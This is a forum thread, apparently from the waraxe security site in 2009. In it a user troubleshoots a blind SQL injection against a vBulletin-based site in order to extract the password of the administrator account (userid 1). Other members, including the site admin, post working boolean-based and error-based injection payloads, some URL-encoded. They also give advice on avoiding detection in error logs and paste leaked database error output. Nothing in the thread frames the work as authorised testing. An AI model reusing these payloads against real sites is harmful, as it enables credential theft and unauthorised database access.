Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 287
Members: 0
Total: 287
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Sql injection in vbulletin problem
Post new topic  Reply to topic View previous topic :: View next topic 
Sql injection in vbulletin problem
PostPosted: Mon Feb 16, 2009 4:04 am Reply with quote
delta
Advanced user
Advanced user
 
Joined: Jan 11, 2009
Posts: 60




Ok, I'm doing a blind in vbulletin and all working fine, but the problem is when i try to extract the information of the DB, all the responses i get is true :S

If i try, for example, this:
-1' AND(SELECT Count(password) FROM user)--+
I get a good response, as well if i try:

-1' AND (SELECT length(password) FROM user where userid=1) > 1
No problem too.

But now comes the problem, when i use:
-1' AND ascii(substring((SELECT password FROM user where userid=1),1,1)) < 1 or >102

I only receive true answers.
I'm almost sure that's the problem is with ascii(substring ....

What can i do? Do i have any other way?
View user's profile Send private message
PostPosted: Mon Feb 16, 2009 5:05 am Reply with quote
tehhunter
Valuable expert
Valuable expert
 
Joined: Nov 19, 2008
Posts: 261




Use SQL's IF() function in the format of

IF(ASCII(SUBSTRING(password FROM 1 FOR 1))=97,1,2)
View user's profile Send private message
PostPosted: Mon Feb 16, 2009 1:58 pm Reply with quote
delta
Advanced user
Advanced user
 
Joined: Jan 11, 2009
Posts: 60




Don't work too.

Sometimes i get the error too, look:


<!-- Database error in vBulletin 3.7.4: Invalid SQL: SELECT * FROM `ups` WHERE online = '1' AND hidden = '0' AND autorizado = '1' AND equipe = '1' AND `tipolink` = '-1' AND IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY id DESC LIMIT 10; MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY' at line 1 Error Number : 1064 Request Date : Monday, February 16th 2009 @ 02:37:35 PM Error Date : Monday, February 16th 2009 @ 02:37:35 PM Script : http://www.site.com/forum/portal.php?page=-1%27%20AND%20IF(SELECT%20ascii(substring(password,1,1))%20FROM%20user%20WHERE%20userid=1)%3C103--+ Referrer : IP Address : ***.***.***.*** Username : Não Registrado Classname : vB_Database MySQL Version : -->
View user's profile Send private message
PostPosted: Wed Feb 18, 2009 11:10 pm Reply with quote
-AO-
Advanced user
Advanced user
 
Joined: Jul 15, 2008
Posts: 205
Location: United States




Try
Code:

ascii(lower(substring((SELECT password FROM user where userid=1),1,1)))=[#]


I've had cases where <> doesn't work
View user's profile Send private message Yahoo Messenger
PostPosted: Mon Mar 23, 2009 12:48 am Reply with quote
delta
Advanced user
Advanced user
 
Joined: Jan 11, 2009
Posts: 60




Same thing man =/

Any other idea? Confused
View user's profile Send private message
PostPosted: Mon Mar 23, 2009 8:29 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




delta wrote:
Don't work too.

Sometimes i get the error too, look:


<!-- Database error in vBulletin 3.7.4: Invalid SQL: SELECT * FROM `ups` WHERE online = '1' AND hidden = '0' AND autorizado = '1' AND equipe = '1' AND `tipolink` = '-1' AND IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY id DESC LIMIT 10; MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY' at line 1 Error Number : 1064 Request Date : Monday, February 16th 2009 @ 02:37:35 PM Error Date : Monday, February 16th 2009 @ 02:37:35 PM Script : http://www.site.com/forum/portal.php?page=-1%27%20AND%20IF(SELECT%20ascii(substring(password,1,1))%20FROM%20user%20WHERE%20userid=1)%3C103--+ Referrer : IP Address : ***.***.***.*** Username : Não Registrado Classname : vB_Database MySQL Version : -->


You are confusing MySql "IF" statement and "IF()" function.
From your example:
Code:

IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)


Instead IF() function expects 3 arguments!

http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html#function_if

Try this tests:
Code:

-1'+AND+(SELECT+ORD(SUBSTR(password,1,1))+FROM+user+WHERE+userid%3d1)%3c103--+

-1'+OR+(SELECT+ORD(SUBSTR(password,1,1))+FROM+user+WHERE+userid%3d1)%3c103--+


As last resort you can use delay-based (benchmark, sleep) or error-based blind injection. First choice has poor performance, second is going to be errorlog-noisy, but they can usually save the day Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Mar 25, 2009 1:16 am Reply with quote
delta
Advanced user
Advanced user
 
Joined: Jan 11, 2009
Posts: 60




I tried your tests, the first one(AND) only return true =/. In the other string i don't get nothing when try >103, but <103 i get a fatal error of the script:

Quote:

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 124781824 bytes) in /home/file/domains/lol.com/public_html/forum/upsajax.php(52) : eval()'d code on line 265

Funny, pretty sure that's a true answer, now i'm getting the point =)
View user's profile Send private message
PostPosted: Wed Mar 25, 2009 8:06 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




One more way to exploit blind injection is based on provoking sql errors:

Code:

-1'+AND+IF(LENGTH(@@version)%3e1,(SELECT+1+UNION+ALL+SELECT+1),1)%3e1--+

-1'+AND+IF(LENGTH(@@version)%3e100,(SELECT+1+UNION+ALL+SELECT+1),1)%3e1--+


In one case you should get normal response, in other case sql error appears complaining about multiple rows Smile
This method is useful, if sql errors can be detected and drawback is that sql errors can be logged and can trigger someone's attention.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Mar 25, 2009 3:46 pm Reply with quote
delta
Advanced user
Advanced user
 
Joined: Jan 11, 2009
Posts: 60




Thanks for the explanation waraxe, i appreciate your help.

You're right, i got your point.

Quote:
MySQL Error : Subquery returns more than 1 row
View user's profile Send private message
Sql injection in vbulletin problem
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.157 Seconds